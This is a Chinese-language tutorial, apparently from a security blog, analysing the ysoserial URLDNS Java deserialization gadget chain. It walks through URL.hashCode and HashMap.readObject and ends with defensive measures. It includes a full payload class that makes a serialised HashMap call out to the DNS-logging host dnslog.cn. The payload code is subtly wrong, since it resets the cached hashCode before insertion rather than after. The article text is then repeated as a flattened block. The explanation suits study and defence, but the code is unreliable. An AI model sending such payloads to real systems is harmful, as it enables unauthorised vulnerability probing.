JAVA反序列化-ysoserial-URLDNS原理分析
字数 1068 2025-08-18 11:35:59

JAVA反序列化-ysoserial-URLDNS原理分析

1. 概述

1.1 ysoserial简介

ysoserial是一个Java反序列化工具,它通过指定利用链生成恶意序列化数据。当目标系统对这些数据进行反序列化时,会触发恶意代码执行。

1.2 URLDNS利用链特点

URLDNS是ysoserial中的一个特殊利用链,具有以下特点:

  • 不能执行任意命令
  • 只能请求指定的URL
  • 主要用于检测目标是否存在反序列化漏洞

2. 核心原理分析

2.1 URL类工作机制

2.1.1 hashCode方法

URL类的hashCode方法会触发DNS请求:

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;
    
    hashCode = handler.hashCode(this);  // 这里会触发DNS请求
    return hashCode;
}

2.1.2 URLStreamHandler.hashCode

该方法会解析URL的各个部分并获取主机地址:

protected int hashCode(URL u) {
    String protocol = u.getProtocol();
    InetAddress addr = getHostAddress(u);  // 这里实际发起DNS请求
    String file = u.getFile();
    String ref = u.getRef();
    
    // 计算各部分hashCode并组合
    // ...
}

2.2 HashMap类与反序列化

2.2.1 序列化特性

HashMap实现了Serializable接口,支持序列化和反序列化:

public class HashMap<K,V> extends AbstractMap<K,V>
    implements Map<K,V>, Cloneable, Serializable

2.2.2 反序列化过程

HashMap在反序列化时会调用readObject方法:

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // 读取键值对
    for (int i = 0; i < mappings; i++) {
        K key = (K) s.readObject();
        V value = (V) s.readObject();
        putVal(hash(key), key, value, false, false);  // 关键点
    }
}

2.2.3 hash方法触发机制

putVal方法会调用hash方法:

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

3. 利用链构造

3.1 基本思路

  1. 创建HashMap对象
  2. 创建URL对象作为key
  3. 将URL对象放入HashMap
  4. 序列化HashMap
  5. 目标反序列化时触发DNS请求

3.2 关键问题与解决方案

3.2.1 hashCode缓存问题

直接构造会导致URL的hashCode被缓存,反序列化时不会触发DNS请求:

HashMap hashMap = new HashMap();
URL url = new URL("http://dnslog.cn");
hashMap.put(url, "test");  // 这里已经计算了hashCode并缓存

3.2.2 反射修改hashCode

使用反射在序列化前重置hashCode:

Field field = url.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url, -1);  // 重置为-1,强制重新计算

3.3 完整Payload构造

public class URLDNSPayload {
    public static void main(String[] args) throws Exception {
        HashMap hashMap = new HashMap();
        URL url = new URL("http://dnslog.cn");
        
        // 使用反射修改hashCode
        Field field = url.getClass().getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url, -1);
        
        hashMap.put(url, "payload");
        
        // 序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
        oos.writeObject(hashMap);
        
        // 反序列化触发
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.bin"));
        ois.readObject();
    }
}

4. 利用场景

4.1 漏洞检测

  • 用于检测目标是否存在Java反序列化漏洞
  • 通过DNS日志确认漏洞存在

4.2 优势

  • 不依赖特定第三方库
  • 仅触发DNS请求,相对隐蔽
  • 适用于各种Java环境

5. 防御措施

5.1 输入验证

  • 对反序列化数据进行严格验证

5.2 安全配置

  • 使用ObjectInputFilter限制反序列化类
  • 更新Java运行环境

5.3 代码层面

  • 避免直接反序列化不可信数据
  • 重写readObject方法添加安全检查

6. 总结

URLDNS利用链通过巧妙组合Java原生类的特性实现漏洞检测:

  1. 利用HashMap反序列化时自动调用hash方法的特性
  2. 通过URL类的hashCode方法触发DNS请求
  3. 使用反射绕过hashCode缓存机制
  4. 整个过程不依赖任何第三方库,通用性强

这种技术虽然不能直接执行命令,但在漏洞探测阶段具有重要价值。

JAVA反序列化-ysoserial-URLDNS原理分析 1. 概述 1.1 ysoserial简介 ysoserial是一个Java反序列化工具,它通过指定利用链生成恶意序列化数据。当目标系统对这些数据进行反序列化时,会触发恶意代码执行。 1.2 URLDNS利用链特点 URLDNS是ysoserial中的一个特殊利用链,具有以下特点: 不能执行任意命令 只能请求指定的URL 主要用于检测目标是否存在反序列化漏洞 2. 核心原理分析 2.1 URL类工作机制 2.1.1 hashCode方法 URL类的hashCode方法会触发DNS请求: 2.1.2 URLStreamHandler.hashCode 该方法会解析URL的各个部分并获取主机地址: 2.2 HashMap类与反序列化 2.2.1 序列化特性 HashMap实现了Serializable接口,支持序列化和反序列化: 2.2.2 反序列化过程 HashMap在反序列化时会调用readObject方法: 2.2.3 hash方法触发机制 putVal方法会调用hash方法: 3. 利用链构造 3.1 基本思路 创建HashMap对象 创建URL对象作为key 将URL对象放入HashMap 序列化HashMap 目标反序列化时触发DNS请求 3.2 关键问题与解决方案 3.2.1 hashCode缓存问题 直接构造会导致URL的hashCode被缓存,反序列化时不会触发DNS请求: 3.2.2 反射修改hashCode 使用反射在序列化前重置hashCode: 3.3 完整Payload构造 4. 利用场景 4.1 漏洞检测 用于检测目标是否存在Java反序列化漏洞 通过DNS日志确认漏洞存在 4.2 优势 不依赖特定第三方库 仅触发DNS请求,相对隐蔽 适用于各种Java环境 5. 防御措施 5.1 输入验证 对反序列化数据进行严格验证 5.2 安全配置 使用ObjectInputFilter限制反序列化类 更新Java运行环境 5.3 代码层面 避免直接反序列化不可信数据 重写readObject方法添加安全检查 6. 总结 URLDNS利用链通过巧妙组合Java原生类的特性实现漏洞检测: 利用HashMap反序列化时自动调用hash方法的特性 通过URL类的hashCode方法触发DNS请求 使用反射绕过hashCode缓存机制 整个过程不依赖任何第三方库,通用性强 这种技术虽然不能直接执行命令,但在漏洞探测阶段具有重要价值。